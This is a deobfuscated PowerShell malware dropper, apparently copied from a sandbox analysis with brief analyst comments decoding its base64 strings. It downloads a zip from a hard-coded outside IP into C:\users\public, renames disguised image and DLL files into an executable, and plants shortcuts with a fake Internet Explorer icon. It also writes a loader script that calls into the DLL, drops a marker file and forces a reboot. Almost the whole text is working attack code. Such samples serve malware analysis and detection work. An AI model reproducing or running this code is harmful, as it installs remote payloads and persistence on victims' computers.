malware_dropper

# deobfuscated pseudocode from http://51.75.142.21/l2406/uk/kk/20938092830482 - https://app.any.run/tasks/82c788e9-0d5e-4202-bc4b-7952bcbd27bf/

# exe
$EXE = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))

# zip
$ZIP = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))

# http://51.91.248.86/uk/M2406/kk/md.zip
$MALZIP = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA1ADEALgA5ADEALgAyADQAOAAuADgANgAvAHUAawAvAE0AMgA0ADAANgAvAGsAawAvAG0AZAAuAHoAaQBwAA==')))

$PUBLIC = "public"
$USERSPUBLIC = "c:\users\$PUBLIC"

Function MAKE_RAND_NAME {
	$KEY_CHAR = "q","w","e","r","t","y","u","p","a","s","d","f","g","h","j","k","z","x","c","v","b","n","m"
	$KEY_NUM = "2_","3_","4_","5_","6_","7_","8_","9_"
	$RAND_NAME = $null
	$RAND_CHAR_6 = Get-Random -InputObject $KEY_CHAR -Count 6
	$RAND_NUM = Get-Random -InputObject $KEY_NUM -Count 1
	$RAND_CHAR_1 = Get-Random -InputObject $KEY_CHAR.ToUpper() -Count 1
	foreach($n in $RAND_CHAR_6) {
		$RAND_NAME += $n
	}
	foreach ($n2 in $RAND_NUM) {
		$RAND_NAME += $n2
	}
	foreach ($n3 in $RAND_CHAR_1) {
		$RAND_NAME += $n3
	}
	return "Java_$RAND_NAME"
}

$MAL_FOLDER = MAKE_RAND_NAME
$MAL_STARTFILE = "$USERSPUBLIC\i.dat"
$CHECK_MALFILE = if ($MAL_STARTFILE) { Test-Path $MAL_STARTFILE }
$CHECK_MALFILE

if($CHECK_MALFILE -eq 'True'){
     exit
}else{
	New-Item -ItemType directory -Path $USERSPUBLIC\$MAL_FOLDER
	$OBJ_DOWNLOAD = new-object System.Net.WebClient
	$OBJ_DOWNLOAD.DownloadFile($MALZIP,"$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.zip")
	$OBJ_APPLICATION = new-object -com shell.application
	$MAL_ZIP = $OBJ_APPLICATION.namespace("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$ZIP")
	$MAL_UNPACK = $OBJ_APPLICATION.namespace("$USERSPUBLIC\$MAL_FOLDER")
	$MAL_UNPACK.Copyhere($MAL_ZIP.items())
	Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$EXE") -Path ("$USERSPUBLIC\$MAL_FOLDER\$EXE.png")
	Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.LNS") -Path ("$USERSPUBLIC\$MAL_FOLDER\12.dll")
	Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\sqlite3.dll") -Path ("$USERSPUBLIC\$MAL_FOLDER\sql.png")

	function MAKE_BAD
	{
	  Param([string]$BAD_LNK,[string]$NOT_USED_1);
	  try{
		$OBJ_MAKE = New-Object -ComObject WScript.Shell
		$MAL_IE_LNK = $OBJ_MAKE.CreateShortcut($BAD_LNK)
		$MAL_IE_LNK.TargetPath = "$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$EXE"
		$MAL_IE_LNK.Arguments = " $MAL_FOLDER1.LNS  $MAL_FOLDER"
		$MAL_IE_LNK.WorkingDirectory = "$USERSPUBLIC\$MAL_FOLDER"
		$MAL_IE_LNK.WindowStyle = 7

		# %ProgramFiles%\Internet Explorer\iexplore.exe,1
		$MAL_IE_LNK.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
		$MAL_IE_LNK.Save()
	  }finally{}
	}

	$SHELL = New-Object -Com WScript.Shell

	# startup
	$STARTUP.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));
	del $UNKNOWN_STR\*.vbs
	del $UNKNOWN_STR\*.lnk
	$ENV_APPDAT = "      $env:APPDATA\$NOT_USED_2, $NOT_USED_3"
	$BAD_LNK = "$UNKNOWN_STR\$MAL_FOLDER.lnk"

	MAKE_BAD $BAD_LNK  $ENV_APPDAT

	MAKE_BAD "c:\users\public\c.lnk"   $ENV_APPDAT
	$bytes = [System.IO.File]::ReadAllBytes("c:\users\public\c.lnk")
	$bytes[0x15] = $bytes[0x15] -bor 0x20 #set byte 21 (0x15) bit 6 (0x20) ON
	[System.IO.File]::WriteAllBytes("c:\users\public\c.lnk", $bytes)

	function MAKE_BAD_2
	{
	  Param([string]$BAD_LNK,[string]$STR_WTF);
	  try{
		$OBJ_MAKE = New-Object -ComObject WScript.Shell
		$LNK_INTERNET = $OBJ_MAKE.CreateShortcut($BAD_LNK)
		$LNK_INTERNET.TargetPath = "c:\users\$PUBLIC\$MAL_FOLDER.vbs"
		$LNK_INTERNET.Arguments = ""

		# "Acessar a internet."
		$LNK_INTERNET.Description = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IgBBAGMAZQBzAHMAYQByACAAYQAgAGkAbgB0AGUAcgBuAGUAdAAuACIA')));
		$LNK_INTERNET.WorkingDirectory = ""
		$LNK_INTERNET.IconLocation = "$NOT_USED_4"
		$LNK_INTERNET.Save()
	  }finally{}
	}

	$MAL_DAT = $MAL_FOLDER
	$MAL_DAT | Set-Content "$USERSPUBLIC\i.dat"
	$MAL_DAT | Out-File "$USERSPUBLIC\i.dat"
	$MAL_DAT > "$USERSPUBLIC\i.dat"

	$BAD_LNK = "c:\users\public\chrome.lnk"
	MAKE_BAD_2 $BAD_LNK  $STR_WTF

	# Line
	$LINE = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABpAG4AZQA=')))

	# Cmd
	$CMD = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBtAGQA')))

	$NUM_86 = '86'
	$OBJ_$ = "$"
	$Arquivo = "$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER1.LNS"

	$ArquivoSaida ="$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER1.LNS"
	Add-Content $Arquivo '#NoTrayIcon'
	Add-Content $Arquivo "Global $OBJ_$$MAL_FOLDER = $OBJ_$$CMD$LINE[1]"
	Add-Content $Arquivo "Global $OBJ_$$MAL_FOLDER$NUM_86 = DllOpen('$MAL_FOLDER.LNS')"
	Add-Content $Arquivo "DllCall($OBJ_$$MAL_FOLDER$NUM_86, 'STRUCT', 'JLI_CmdToArgs')"


	C:\WINDOWS\system32\shutdown.exe -r -t 200

}